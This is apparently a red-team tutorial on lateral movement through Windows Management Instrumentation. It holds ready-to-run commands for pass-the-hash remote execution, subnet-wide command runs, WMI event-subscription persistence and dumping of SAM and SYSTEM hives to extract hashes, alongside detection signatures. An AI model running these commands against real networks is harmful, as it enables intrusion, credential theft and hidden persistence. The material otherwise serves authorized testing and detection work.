performing-lateral-movement-with-wmiexec

Performing Lateral Movement with WMIExec

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

WMI (Windows Management Instrumentation) is a legitimate Windows administration framework that red teams abuse for lateral movement because it provides remote command execution without deploying additional services or leaving obvious artifacts like PsExec. Impacket's wmiexec.py creates a semi-interactive shell over WMI by executing commands through Win32_Process.Create and reading output via temporary files on ADMIN$ share. Unlike PsExec, WMIExec does not install a service on the target, making it stealthier and less likely to trigger security alerts. WMI-based lateral movement maps to MITRE ATT&CK T1047 (Windows Management Instrumentation) and is used by threat actors including APT29, APT32, and Lazarus Group.

When to Use

• When conducting security assessments that involve performing lateral movement with wmiexec
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Prerequisites

• Familiarity with red teaming concepts and tools
• Access to a test or lab environment for safe execution
• Python 3.8+ with required dependencies installed
• Appropriate authorization for any testing activities

Objectives

• Execute remote commands on Windows targets using WMI-based techniques
• Establish semi-interactive shells via Impacket wmiexec.py
• Perform lateral movement with Pass-the-Hash using WMI
• Use CrackMapExec for multi-target WMI command execution
• Execute native PowerShell WMI commands for fileless lateral movement
• Chain WMI with credential harvesting for network-wide access

MITRE ATT&CK Mapping

• T1047 - Windows Management Instrumentation
• T1021.003 - Remote Services: Distributed Component Object Model (DCOM)
• T1550.002 - Use Alternate Authentication Material: Pass the Hash
• T1059.001 - Command and Scripting Interpreter: PowerShell
• T1570 - Lateral Tool Transfer

Workflow

Phase 1: WMIExec with Impacket

1. Execute a semi-interactive shell with credentials:

   # With cleartext password
   wmiexec.py domain.local/admin:'Password123'@10.10.10.50
   
   # With NT hash (Pass-the-Hash)
   wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/[email protected]
   
   # With Kerberos ticket
   export KRB5CCNAME=admin.ccache
   wmiexec.py -k -no-pass domain.local/[email protected]
   
   # Execute specific command (non-interactive)
   wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "ipconfig /all"
   

2. Execute commands without output file (stealthier using DCOM):

   # Using dcomexec.py as alternative (MMC20.Application DCOM object)
   dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50
   
   # Using ShellWindows DCOM object
   dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50
   

Phase 2: CrackMapExec Multi-Target Execution

1. Execute commands across multiple targets:

   # Execute single command on subnet
   crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami"
   
   # Execute with hash
   crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "ipconfig"
   
   # Execute PowerShell command
   crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X "Get-Process"
   
   # Check local admin access via WMI
   crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'
   

Phase 3: Native WMI Commands (Windows)

1. Execute remote commands using built-in Windows WMI tools:

   # Using wmic.exe (deprecated but still available)
   wmic /node:10.10.10.50 /user:domain\admin /password:Password123 process call create "cmd.exe /c whoami > C:\temp\out.txt"
   
   # Using PowerShell Invoke-WmiMethod
   $cred = Get-Credential
   Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
     -Credential $cred -ArgumentList "cmd.exe /c ipconfig > C:\temp\output.txt"
   
   # Using CIM sessions (modern replacement for WMI)
   $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred
   Invoke-CimMethod -CimSession $session -ClassName Win32_Process `
     -MethodName Create -Arguments @{CommandLine="cmd.exe /c whoami"}
   

2. Fileless PowerShell execution via WMI:

   # Execute encoded PowerShell command remotely
   $cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process | Out-File C:\temp\procs.txt'))
   Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `
     -Credential $cred -ArgumentList "powershell.exe -enc $cmd"
   

Phase 4: WMI-Based Persistence

1. Create WMI event subscriptions for persistence:

   # Create WMI event subscription (command runs on every logon)
   $filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter `
     -Arguments @{Name="PersistFilter"; EventNamespace="root\cimv2";
                  QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}
   
   $consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer `
     -Arguments @{Name="PersistConsumer"; CommandLineTemplate="cmd.exe /c <payload>"}
   
   Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding `
     -Arguments @{Filter=$filter; Consumer=$consumer}
   

Phase 5: Chaining with Credential Harvesting

1. Use WMI for remote credential extraction:

   # Dump SAM hashes via WMI + reg save
   wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "reg save HKLM\SAM C:\temp\sam && reg save HKLM\SYSTEM C:\temp\system"
   
   # Download saved hives
   smbclient.py domain.local/admin:'Password123'@10.10.10.50
   > get C:\temp\sam
   > get C:\temp\system
   
   # Extract hashes from saved hives
   secretsdump.py -sam sam -system system LOCAL
   

Tools and Resources

Tool	Purpose	Platform
wmiexec.py	Semi-interactive WMI shell (Impacket)	Linux (Python)
dcomexec.py	DCOM-based remote execution (Impacket)	Linux (Python)
CrackMapExec	Multi-target WMI execution	Linux (Python)
wmic.exe	Native Windows WMI command-line tool	Windows
PowerShell CIM	Modern WMI cmdlets	Windows
SharpWMI	.NET WMI execution tool	Windows (.NET)

WMI Execution Methods Comparison

Method	Service Created	Output Method	Stealth Level
wmiexec.py	No	Temp file on ADMIN$	Medium
dcomexec.py	No	Temp file on ADMIN$	Medium-High
wmic.exe	No	None (blind) or redirect	Medium
PowerShell WMI	No	None (blind) or redirect	High
PsExec (comparison)	Yes	Service output pipe	Low

Detection Signatures

Indicator	Detection Method
Win32_Process.Create WMI calls	Event 4688 (process creation) with WMI parent process
WMI temporary output files on ADMIN$	File monitoring on ADMIN$ share for temp files
Remote WMI connections (DCOM/135)	Network monitoring for DCOM traffic to workstations
WmiPrvSE.exe spawning cmd.exe/powershell.exe	EDR process tree analysis
Event 5857/5860/5861	WMI Activity logs in Microsoft-Windows-WMI-Activity

Validation Criteria

• WMIExec shell established on remote target
• Pass-the-Hash execution validated via WMI
• Multi-target command execution via CrackMapExec WMI
• Native PowerShell WMI commands executed remotely
• Credential harvesting performed via WMI execution chain
• No service creation artifacts on target systems
• Evidence documented with command outputs and screenshots